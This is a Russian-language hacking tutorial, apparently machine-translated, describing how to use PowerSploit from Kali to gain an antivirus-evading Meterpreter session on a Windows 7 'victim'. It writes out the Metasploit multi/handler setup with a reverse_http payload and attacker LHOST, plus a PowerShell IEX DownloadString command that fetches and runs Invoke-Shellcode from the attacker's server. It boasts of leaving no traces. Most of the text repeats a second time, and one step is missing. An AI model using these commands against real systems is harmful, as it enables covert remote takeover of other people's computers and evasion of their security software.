Несколько лет назад компания Microsoft неявно признала превосходство терминала Linux над графической операционной системой, разработав PowerShell. Начиная с Windows 7, PowerShell по умолчанию установлен во всех операционных системах Windows, и даже PowerShell теперь поддерживает выполнение команд Linux в Windows!
PowerShell — это мощная среда для выполнения практически любых задач в Windows, включая написание скриптов. К сожалению, мало кто из администраторов ею пользуется, а некоторые даже не знают о её существовании (подробнее о PowerShell см. здесь ).
Для хакеров PowerShell может стать надёжным союзником в наших попытках взять под контроль систему. Если мы получим доступ к PowerShell в системе, мы сможем использовать его возможности для контроля — и сохранения контроля — над целевой системой. Кроме того, если мы сможем выполнять команды и скрипты в контексте PowerShell, мы сможем обойти большинство антивирусных программ, не оставляя практически никаких улик.
К счастью для нас, Мэтт Грэбер разработал серию скриптов PowerShell, которые помогут нам контролировать и манипулировать целевой системой. Эти специально созданные скрипты известны под общим названием PowerSploit. К счастью, они встроены в Kali. Если вы не используете Kali, вы можете скачать их здесь.
Шаг 1: Запустите PowerSploit
Для начала давайте запустим Kali.
Чтобы запустить PowerSploit, просто перейдите в Kali Linux -> Maintaining Access -> OS Backdoors -> powersploit. Или просто перейдите в /usr/share/powersploit в терминале.
Откроется терминал по адресу /usr/share/powersploit.
Мы можем увидеть каждый из каталогов скриптов PowerSploit, выполнив длинный листинг.
кали > ls -l
Как видите, у нас восемь каталогов PowerSploit.
Шаг 2: Запуск веб - сервера
Для следующего шага нам нужно запустить веб-сервер в нашей системе Kali для передачи команд PowerSploit на атакуемую машину. Есть много способов сделать это. Например, можно скопировать каталог PowerSploit в /var/www/html и запустить веб-сервер Apache.
Более простое и элегантное решение — запустить простой веб-сервер Python в каталоге PowerSploit. Для этого нужно ввести команду, находясь в каталоге PowerSploit.
kali > python -m SimpleHTTPServer
Итак, у нас запущен веб-сервер в каталоге PowerSploit. Это означает, что любой, кто обращается к этому веб-серверу, получит доступ к этому каталогу в нашей системе Kali.
Шаг 3 : Запустите PowerSploit на жертве
Для всего этого взлома мы предполагаем, что у вас уже есть доступ к целевой машине и вы пытаетесь получить оболочку Meterpreter, не активируя антивирус. В данном случае мы предполагаем, что у вас есть графический интерфейс на целевой системе с RDP или VNC.
Запустите PowerShell на зараженной системе, перейдя в меню «Пуск» и введя PowerShell в поле поиска.
Щелкните значок PowerShell и запустите PowerShell на зараженном компьютере.
Теперь из целевой системы Windows 7 мы можем перейти на веб-сервер на Kali.
Как мы видим, все скрипты PowerSploit доступны на нашем веб-сервере для загрузки жертве.
Шаг 5: Запуск Multi /Handler в Kali
Нам понадобится мульти/обработчик в системе Kali для получения сообщения с Meterpreter из целевой системы.
Запустите консоль Metasploit, введя:
kali > msfconsole
Для запуска multi/handler нам понадобятся следующие команды (вы можете создать скрипт ресурсов в Metasploit, чтобы делать это автоматически):
msf > использовать эксплойт/мульти/обработчик
msf > set PAYLOAD windows/meterpreter/reverse_http
msf > установить LHOST 192.168.181.128
msf > установить LPORT 4444
msf > эксплуатировать
Как вы можете видеть на снимке экрана выше, теперь у нас есть обработчик, ожидающий соединения с системой-жертвой.
Шаг 6 : Загрузите скрипт PowerSploit
В системе Windows 7 мы воспользуемся PowerShell для загрузки скрипта PowerSploit из нашей системы Kali через наш простой веб-сервер Python. Для этого введите:
> IEX(New-Object Net.WebClient).DownloadString (« http://192.168.181.128:8000/CodeExecution/Invoke-Shellcode.ps1 «)
В нашей системе Kali мы видим, что веб-сервер системы Windows 7 получил GET-запрос от системы Windows 7. Это фактически загрузило наш скрипт Invoke-Shellcode на машину Windows 7.
Возвращаясь к системе Windows 7, нам нужно запустить скрипт PowerSploit. Если мы всё сделали правильно, запуск этого скрипта запустит сеанс Meterpreter на компьютере с Windows 7 в контексте процесса PowerShell.
PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_http -lhost 192.168.181.128 -lport 4444 -Force
Шаг 7 : Найдите сеанс Meterpreter на Kali
Теперь вернёмся в нашу систему Kali и посмотрим, открыт ли сеанс Meterpreter. Вернёмся к msfconsole, где у нас был multi/handler, ожидающий подключения, и наберём тип.
сеансы -l
Здесь должен быть список всех открытых сеансов.
Успех! Мы получили сеанс Meterpreter на компьютере-жертве. Преимущество этого сеанса в том, что оболочка Meterpreter работает в контексте процесса PowerShell и не будет обнаружена антивирусным ПО. Кроме того, Meterpreter работает исключительно в памяти, поэтому не оставляет никаких следов на жёстком диске.
PowerShell — это мощная среда для выполнения практически любых задач в Windows, включая написание скриптов. К сожалению, мало кто из администраторов ею пользуется, а некоторые даже не знают о её существовании (подробнее о PowerShell см. здесь ).
Для хакеров PowerShell может стать надёжным союзником в наших попытках взять под контроль систему. Если мы получим доступ к PowerShell в системе, мы сможем использовать его возможности для контроля — и сохранения контроля — над целевой системой. Кроме того, если мы сможем выполнять команды и скрипты в контексте PowerShell, мы сможем обойти большинство антивирусных программ, не оставляя практически никаких улик.
К счастью для нас, Мэтт Грэбер разработал серию скриптов PowerShell, которые помогут нам контролировать и манипулировать целевой системой. Эти специально созданные скрипты известны под общим названием PowerSploit. К счастью, они встроены в Kali. Если вы не используете Kali, вы можете скачать их здесь.
Шаг 1: Запустите PowerSploit
Для начала давайте запустим Kali.
Чтобы запустить PowerSploit, просто перейдите в Kali Linux -> Maintaining Access -> OS Backdoors -> powersploit. Или просто перейдите в /usr/share/powersploit в терминале.
Откроется терминал по адресу /usr/share/powersploit.
Мы можем увидеть каждый из каталогов скриптов PowerSploit, выполнив длинный листинг.
кали > ls -l
Как видите, у нас восемь каталогов PowerSploit.
- AntivirusBypass
- CodeExecution
- Эксфильтрация
- Упорство
- PETools
- Разведка
- Обратный инжиниринг
- Модификация скрипта
Шаг 2: Запуск веб - сервера
Для следующего шага нам нужно запустить веб-сервер в нашей системе Kali для передачи команд PowerSploit на атакуемую машину. Есть много способов сделать это. Например, можно скопировать каталог PowerSploit в /var/www/html и запустить веб-сервер Apache.
Более простое и элегантное решение — запустить простой веб-сервер Python в каталоге PowerSploit. Для этого нужно ввести команду, находясь в каталоге PowerSploit.
kali > python -m SimpleHTTPServer
Итак, у нас запущен веб-сервер в каталоге PowerSploit. Это означает, что любой, кто обращается к этому веб-серверу, получит доступ к этому каталогу в нашей системе Kali.
Шаг 3 : Запустите PowerSploit на жертве
Для всего этого взлома мы предполагаем, что у вас уже есть доступ к целевой машине и вы пытаетесь получить оболочку Meterpreter, не активируя антивирус. В данном случае мы предполагаем, что у вас есть графический интерфейс на целевой системе с RDP или VNC.
Запустите PowerShell на зараженной системе, перейдя в меню «Пуск» и введя PowerShell в поле поиска.
Щелкните значок PowerShell и запустите PowerShell на зараженном компьютере.
Теперь из целевой системы Windows 7 мы можем перейти на веб-сервер на Kali.
Как мы видим, все скрипты PowerSploit доступны на нашем веб-сервере для загрузки жертве.
Шаг 5: Запуск Multi /Handler в Kali
Нам понадобится мульти/обработчик в системе Kali для получения сообщения с Meterpreter из целевой системы.
Запустите консоль Metasploit, введя:
kali > msfconsole
Для запуска multi/handler нам понадобятся следующие команды (вы можете создать скрипт ресурсов в Metasploit, чтобы делать это автоматически):
msf > использовать эксплойт/мульти/обработчик
msf > set PAYLOAD windows/meterpreter/reverse_http
msf > установить LHOST 192.168.181.128
msf > установить LPORT 4444
msf > эксплуатировать
Как вы можете видеть на снимке экрана выше, теперь у нас есть обработчик, ожидающий соединения с системой-жертвой.
Шаг 6 : Загрузите скрипт PowerSploit
В системе Windows 7 мы воспользуемся PowerShell для загрузки скрипта PowerSploit из нашей системы Kali через наш простой веб-сервер Python. Для этого введите:
> IEX(New-Object Net.WebClient).DownloadString (« http://192.168.181.128:8000/CodeExecution/Invoke-Shellcode.ps1 «)
В нашей системе Kali мы видим, что веб-сервер системы Windows 7 получил GET-запрос от системы Windows 7. Это фактически загрузило наш скрипт Invoke-Shellcode на машину Windows 7.
Возвращаясь к системе Windows 7, нам нужно запустить скрипт PowerSploit. Если мы всё сделали правильно, запуск этого скрипта запустит сеанс Meterpreter на компьютере с Windows 7 в контексте процесса PowerShell.
PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_http -lhost 192.168.181.128 -lport 4444 -Force
Шаг 7 : Найдите сеанс Meterpreter на Kali
Теперь вернёмся в нашу систему Kali и посмотрим, открыт ли сеанс Meterpreter. Вернёмся к msfconsole, где у нас был multi/handler, ожидающий подключения, и наберём тип.
сеансы -l
Здесь должен быть список всех открытых сеансов.
Успех! Мы получили сеанс Meterpreter на компьютере-жертве. Преимущество этого сеанса в том, что оболочка Meterpreter работает в контексте процесса PowerShell и не будет обнаружена антивирусным ПО. Кроме того, Meterpreter работает исключительно в памяти, поэтому не оставляет никаких следов на жёстком диске.